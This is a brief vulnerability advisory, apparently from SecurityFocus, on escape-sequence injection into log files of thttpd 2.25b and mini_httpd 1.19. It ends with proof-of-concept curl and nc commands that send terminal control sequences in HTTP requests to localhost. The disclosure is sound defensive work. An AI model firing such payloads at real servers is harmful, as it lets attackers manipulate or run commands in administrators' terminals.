source: http://www.securityfocus.com/bid/37714/info
 
Acme 'thttpd' and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles.
 
Attackers can exploit this issue to execute arbitrary commands in a terminal.
 
This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be affected. 

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload